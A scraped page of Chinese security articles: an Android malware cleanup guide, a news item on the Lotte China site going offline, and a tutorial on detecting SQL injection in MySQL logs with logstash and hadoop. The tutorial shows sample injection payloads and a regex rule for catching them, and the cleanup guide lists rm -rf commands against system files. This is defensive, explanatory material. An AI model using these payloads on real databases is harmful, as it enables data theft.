8.清理方案

须先kill掉线程/sbin/e2fsck_guard,卸载病毒母样本,再清理以下文件

Elf文件:

不同环境下释放的文件可能会有所不同

chattr -aiA /system/lib/libandroidmedias.so /system/lib/libandroidmails.so /system/lib/liblgeanimationplayer.so /system/lib/liblgehardwarecheck.so  /system/lib/liblgeequipmenthealth.so /system/lib/libsystemvendorlge.so /system/bin/eqhealthd  /system/bin/hwcheckd-lge /system/vendor/cufsdosck /system/bin/cufsdosck /system/bin/cufsmgr /system/lib/libbot.so /system/bin/bootanimation /system/bin/.debuggerd.no /system/bin/.nosh /system/bin/conbb /system/bin/debuggerd /system/bin/.install-recovery.sh-nu.bak /system/bin/debuggerd_realx /system/xbin/cufsmgr /system/xbin/cufsdosck /system/xbin/conbb /system/xbin/klog__A7642 /system/bin/systemcore /system/usr/cufsdosck /system/usr/.nb /system/etc/athima
rm -rf /system/lib/libandroidmedias.so /system/lib/libandroidmails.so /system/lib/liblgeanimationplayer.so /system/lib/liblgehardwarecheck.so  /system/lib/liblgeequipmenthealth.so /system/lib/libsystemvendorlge.so /system/bin/eqhealthd  /system/bin/hwcheckd-lge /system/vendor/cufsdosck /system/bin/cufsdosck /system/bin/cufsmgr /system/lib/libbot.so /system/bin/bootanimation /system/bin/.debuggerd.no /system/bin/.nosh /system/bin/conbb /system/bin/debuggerd /system/bin/.install-recovery.sh-nu.bak /system/bin/debuggerd_realx /system/xbin/cufsmgr /system/xbin/cufsdosck /system/xbin/conbb /system/xbin/klog__A7642 /system/bin/systemcore /system/usr/cufsdosck /system/usr/.nb /system/etc/athima

Apk文件:

chattr -aiA /system/priv-app/BCTService.apk /system/priv-app/TP2.apk /system/priv-app/TP2.apk
Rm -rf /system/priv-app/BCTService.apk /system/priv-app/TP2.apk /system/priv-app/TP2.apk

本文作者:腾讯手机管家,转载请注明来自Freebuf.COM

网络安全管理控制中心

猜您喜欢

工作场所物理安全
南方航空2017年乘务(安全)员招聘简章(昆明站) http://www.isvoc.com/201703043160.html
长沙县召开2017年创建国家食品安全示范城市工作推进会
环境、职业健康安全管理体系在线学习课程
CHICHARITO-HERNANDEZ EMEDIATRUST
Samsung的KNOX是否能够延续其在企业领域里辉煌呢?
新闻 | 杭州市佛教协会举办寺院安全管理培训班

【快讯】乐天中国官网疑似遭遇黑客攻击,至今无法访问

昨天下午,乐天中国官网遭遇黑客攻击,截至发稿时,乐天中国网站依然无法访问。韩联社报道称,“计算机专家进行分析后发现,乐天网站无法访问是由黑客植入病毒所致(caused by a virus planted by hakcers)”——攻击的详细情况未知。

乐天中国官网.png

截至3月2日10:19,官网依然无法访问

攻击事件发生之前,也就是本周二2月28日,乐天集团与韩军就部署“萨德”签署易地协议。根据协议,乐天集团向韩国国防部出让星州高尔夫球场。

因为事件发生的时间点,很难不让人联想到黑客行为,比如像下面这样:

QQ图片20170302102939.jpg

中韩双方就“萨德”问题已有多次交锋。中方对此一直表示反对和强烈不满,认为“萨德”将妨碍中方的安全利益。对此,韩国和美国回应称,“萨德”的本质为防御性导弹系统,并且仅关注朝鲜的导弹活动。

据韩媒报道,随着“萨德”在韩加速部署,中方的反制措施也越来越强烈。与此同时,京东“韩国乐天旗舰店”也一并消失。目前,乐天在中拥有大量门店,不知后续会否一并遭遇民众抵制。此前,优酷等国内视频网站停止播放韩剧,国内一些电视台也不再邀请韩国艺人参加节目或参演电视剧。

参考来源:upiyonhapnewsthehackernews,FB小编kuma编译整理,转载请注明来自Freebuf

亭长朗然互联网信息安全教育中心正式成立

猜您喜欢

江苏通信管理局召开2017年基础电信企业网络与信息安全考核工作…
Fast ultra low nitrogen boiler stable operation and fast experience sharing Thalia Thalia T6 series of products that will be held a grand http://extranet.securemymind.com/201703027224.html
职业健康检查与一般健康体检的区别
防范垃圾短信、骚扰电话、电话诈骗
NGKUTAHYASERAMIK BRAY
IT安全需调整战略
网络信息安全国产化提速 龙头企业最受益

企业安全建设之搭建开源SIEM平台(中)

本文原创作者:兜哥,本文属FreeBuf原创奖励计划,未经许可禁止转载 

前言

SIEM(security information and event management),顾名思义就是针对安全信息和事件的管理系统,针对大多数企业是不便宜的安全系统,本文结合作者的经验介绍如何使用开源软件离线分析数据,使用攻击建模的方式识别攻击行为。

回顾系统架构

截图 (1).png

以数据库为例,通过logstash搜集mysql的查询日志,近实时备份到hdfs集群上,通过hadoop脚本离线分析攻击行为。

数据库日志搜集

常见的数据日志搜集方式有三种:

镜像方式

大多数数据库审计产品都支持这种模式,通过分析数据库流量,解码数据库协议,识别SQL预计,抽取出SQL日志

截图 (2).png

代理方式

比较典型的就是db-proxy方式,目前百度、搜狐、美团、京东等都有相关开源产品,前端通过db-proxy访问后端的真实数据库服务器。SQL日志可以直接在db-proxy上搜集。

截图 (3).png

客户端方式

通过在数据库服务器安装客户端搜集SQL日志,比较典型的方式就是通过logstash来搜集,本文以客户端方式进行讲解,其余方式本质上也是类似的。

logstash配置

安装

下载logstash https://www.elastic.co/downloads/logstash 目前最新版本5.2.1版

开启mysql查询日志

截图 (4).png

mysql查询日志

截图 (5).png

配置logstash

input {

file {

type => "mysql_sql_file"

path => "/var/log/mysql/mysql.log"

start_position => "beginning"

sincedb_path => "/dev/null"

}

}

output {

kafka { broker_list => "localhost:9092" topic_id => "test" compression_codec => "snappy" # string (optional), one of ["none", "gzip", "snappy"], default: "none" }

}

运行logstash

bin/logstash -f mysql.conf

日志举例

2017-02-16T23:29:00.813Z localhost 170216 19:10:15 37 Connect

[email protected] on

2017-02-16T23:29:00.813Z localhost 37 Quit

2017-02-16T23:29:00.813Z localhost 38 Connect [email protected] on

2017-02-16T23:29:00.813Z localhost 38 Query SHOW VARIABLES LIKE 'pid_file'

切词

最简化操作是不用进行切词,如果喜欢自动切分出数据库名,时间等字段,请参考:

grok语法

https://github.com/elastic/logstash/blob/v1.4.2/patterns/grok-patterns

grok语法调试

http://grokdebug.herokuapp.com/

常见攻击特征

以常见的wavsep搭建靶场环境,请参考我的另外一篇文章《基于WAVSEP的靶场搭建指南

使用SQL扫描链接

截图 (6).png

分析攻击特征,下列列举两个,更多攻击特征请大家自行总结

特征一

2017-02-16T23:29:00.993Z localhost 170216 19:19:12   46 Query SELECT username, password FROM users WHERE username='textvalue' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#' AND password='textvalue2'

使用联合查询枚举数据时会产生大量的NULL字段

特征二、三

枚举数据库结构时会使用INFORMATION_SCHEMA,另外个别扫描器会使用GROUP BY x)a)

2017-02-16T23:29:00.998Z localhost    46 Query SELECT username, password FROM users WHERE username='textvalue' AND (SELECT 7473 FROM(SELECT COUNT(),CONCAT(0x7171716271,(SELECT (CASE WHEN (8199= 8199) THEN 1 ELSE 0 END)),0x717a627871,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- LFpQ' AND password='textvalue2'

hadoop离线处理

hadoop是基于map,reduce模型

截图 (7).png

简化理解就是:

cat data.txt | ./map | ./reduce

最简化期间,我们可以只开发map程序,在map中逐行处理日志数据,匹配攻击行为。

以perl脚本开发,python类似

#!/usr/bin/perl -w

my $rule="(null,){3,}|information_schema|GROUP BY x\\)a\\)";

my $line="";

while($line=<>)

{

if( $line=~/$rule/i )

{

printf($line);

}

}

在hadoop下运行即可。

生产环境

生产环境中的规则会比这复杂很多,需要你不断补充,这里只是举例;

单纯只编写map会有大量的重复报警,需要开发reduce用于聚合;

应急响应时需要知道SQL注入的是那个库,使用的是哪个账户,这个需要在logstash切割字段时补充;

应急响应时最好可以知道SQL注入对应的链接,这个需要将web的accesslog与SQL日志关联分析,比较成熟的方案是基于机器学习,学习出基于时间的关联矩阵;

客户端直接搜集SQL数据要求mysql也开启查询日志,这个对服务器性能有较大影响,我知道的大型公司以db-prxoy方式接入为主,建议可以在db-proxy上搜集;

基于规则识别SQL注入存在瓶颈,虽然相对web日志层面以及流量层面有一定进步,SQL语义成为必然之路。

后继

基于沙箱以及算法挖掘攻击,请见下文。

本文原创作者:兜哥,本文属FreeBuf原创奖励计划,未经许可禁止转载 

互联网金融移动APP与虚假WIFI的信息安全教训

猜您喜欢

商务差旅人士需具备基本的数据安全战略防范能力
工业和信息化部办公厅:关于组织开展2017年制造业与互联网融合发展试点示范工作的通知 http://news.keepred.cn/201703013918.html
国家食药监总局就《食品安全欺诈行为查处办法》向社会公开征求…
网络安全管理控制中心
WEBSITEQUOTE POULTRYSHOWCASE
全球云计算态势分析
咸阳小伙利用朋友支付宝贷款 将钱转入自己账户